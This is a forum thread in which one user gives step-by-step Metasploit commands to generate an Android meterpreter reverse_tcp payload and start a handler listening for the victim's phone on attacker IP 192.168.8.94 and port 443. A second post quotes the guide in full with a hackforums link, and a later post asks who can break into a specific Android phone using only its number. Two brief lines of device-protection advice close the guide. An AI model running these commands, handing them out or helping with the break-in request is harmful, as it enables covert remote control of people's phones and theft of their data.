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 Juifer - March 16, 2021, 12:16 pm 
Requirements:
 
 Kali Linux having Metasploit framework
 
 Android device
 
 
 Steps for exploiting
 
 Step 1
 
  msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address>
LPORT=<port_to_receive_connection> 
 
 Step 2
 
 use exploit/multi/handler 
 
 –> we will use Metasploit handler
 
 Step 3
 
 set payload android/meterpreter/reverse_tcp 
 
 –> make sure the payload is the same with step 2
 
 Step 4 
 
 set lhost 192.168.8.94 
 
 –>Attacker IP address
 
 Step 5
 
 set lport 443
 
  –>Port to listen the reverse connection
 
 Step 6
 
 exploit 
 
 –> start to listen incoming connection
 
 Now your session is created, simply type "help" command on your terminal and get as much
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information as you can.
 
 How to secure your device from being compromised :
 
 Never install refer apps and visit refer links
 
 Don't install from unknown sources.

breseck - March 27, 2021, 5:27 am 
Usually, the phones had protection for this aplications :)

Ethel Thmas - March 31, 2021, 11:37 am 
 (Mar 16, 2021 12:16 PM)Juifer Wrote: [CITE] Requirements:
 
 Kali Linux having Metasploit framework
 
 Android device
 
 
 Steps for exploiting
 
 Step 1
 
  msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address>
LPORT=<port_to_receive_connection> 
 
 Step 2
 
 use exploit/multi/handler 
 
 –> we will use Metasploit handler
 
 Step 3
 
 set payload android/meterpreter/reverse_tcp 
 
 –> make sure the payload is the same with step 2
 
 Step 4 
 
 set lhost 192.168.8.94 
 
 –>Attacker IP address
 
 Step 5
 
 set lport 443
 
  –>Port to listen the reverse connection
 
 Step 6
 
 exploit 

https://hackforums.net/showthread.php?pid=60640945#pid60640945


 
 –> start to listen incoming connection
 
 Now your session is created, simply type "help" command on your terminal and get as much
information as you can.
 
 How to secure your device from being compromised :
 
 Never install refer apps and visit refer links
 
 Don't install from unknown sources.
 thank you

Vicko - April 6, 2021, 6:00 am 
Hy
 Anyone know who can get acsess to 1 android phone i have number feom phine?

 


